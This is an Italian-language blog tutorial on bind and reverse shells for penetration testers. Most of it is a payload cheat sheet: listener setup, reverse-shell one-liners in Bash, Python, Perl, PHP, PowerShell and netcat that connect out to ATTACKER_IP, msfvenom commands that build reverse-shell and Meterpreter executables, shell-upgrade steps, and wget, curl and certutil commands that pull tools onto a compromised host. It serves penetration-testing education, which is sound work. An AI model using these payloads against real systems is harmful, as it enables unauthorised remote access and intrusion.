← Torna agli articoli

News · 03 January 2026

Reverse Shell Bind Shell

Reverse Shell e Bind Shell: ottenere accesso remoto

Introduzione

Hai trovato una vulnerabilità che ti permette di eseguire comandi su un server remoto — una RCE (Remote Code Execution). Ottimo. Ma come trasformi questo in una sessione interattiva che puoi usare comodamente?

La risposta sono le shell remote: meccanismi per ottenere una riga di comando su un sistema remoto. Le due varianti principali sono la bind shell e la reverse shell.


Bind Shell vs Reverse Shell

Bind Shell

Il target apre una porta in ascolto. L’attaccante si connette a quella porta.

[Attaccante] ──── CONNECT ──→ [Target:porta_x] → shell

Problema: i firewall bloccano le connessioni in ingresso verso porte insolite. La bind shell funziona raramente in ambienti reali.

Reverse Shell

Il target si connette all’attaccante. L’attaccante ascolta in attesa della connessione.

[Attaccante:porta_x] ←── CONNECT ── [Target]

Vantaggio: i firewall di solito permettono il traffico in uscita. La reverse shell funziona anche in reti con firewall restrittivi.

La reverse shell è il metodo standard nei pentest moderni.


Setup dell’attaccante: mettersi in ascolto

Prima di lanciare qualsiasi payload sul target, devi essere in ascolto.

Netcat (nc)

nc -lvnp 4444
# -l  → listen mode
# -v  → verbose
# -n  → no DNS lookup
# -p  → porta

Rlwrap (migliora l’esperienza)

La shell ricevuta via netcat è primitiva — niente frecce, niente tab, niente CTRL+C senza perdere la sessione.

rlwrap nc -lvnp 4444

Metasploit multi/handler

Per ricevere shell Meterpreter o shell avanzate:

use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST TUO_IP
set LPORT 4444
run

Payload per reverse shell

Bash

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Python

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Perl

perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP (utile dopo RCE su web server)

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell (Windows)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Netcat (se disponibile sul target)

nc -e /bin/sh ATTACKER_IP 4444
# Versioni vecchie di nc (-e non sempre disponibile)

# Alternativa senza -e
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

RevShells.com

Non devi memorizzare tutti questi payload. Il sito revshells.com genera automaticamente il payload giusto per il sistema e il linguaggio che ti serve — basta inserire IP e porta.


msfvenom: creare payload compilati

Per sistemi dove non puoi eseguire comandi shell direttamente, crei un eseguibile:

# Eseguibile Windows (.exe)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

# Script PHP
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php

# Script Python
msfvenom -p cmd/unix/reverse_python LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.py

# Payload Meterpreter (più potente della shell classica)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o met.exe

Upgrade della shell: da dumb shell a TTY

La shell ricevuta è spesso una “dumb shell” — niente tab completion, niente editor, CTRL+C termina tutto.

# Step 1: spawn di una pseudo-TTY con Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: background della shell con CTRL+Z

# Step 3: nella tua macchina
stty raw -echo; fg

# Step 4: di nuovo nella shell remota
export TERM=xterm
stty rows 40 cols 200   # adatta alle dimensioni del tuo terminale

Ora hai una shell completamente interattiva.


Trasferire file sul target

Una volta dentro, spesso hai bisogno di caricare tool (LinPEAS, Chisel, ecc.).

# Avvia server HTTP sulla tua macchina
python3 -m http.server 8080

# Sul target Linux
wget http://ATTACKER_IP:8080/tool.sh
curl -o tool.sh http://ATTACKER_IP:8080/tool.sh

# Sul target Windows (PowerShell)
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/tool.exe" -OutFile "C:\temp\tool.exe"
certutil -urlcache -split -f "http://ATTACKER_IP:8080/tool.exe" tool.exe

Conclusione

Le reverse shell sono il pane quotidiano del penetration tester. Impara a memoria almeno il payload bash e quello PowerShell, e tieni a portata di mano revshells.com per il resto.

La parte più importante è il setup del listener prima di lanciare il payload — quante volte si vede un principiante che lancia il payload e poi si chiede perché non funziona senza aver avviato il listener…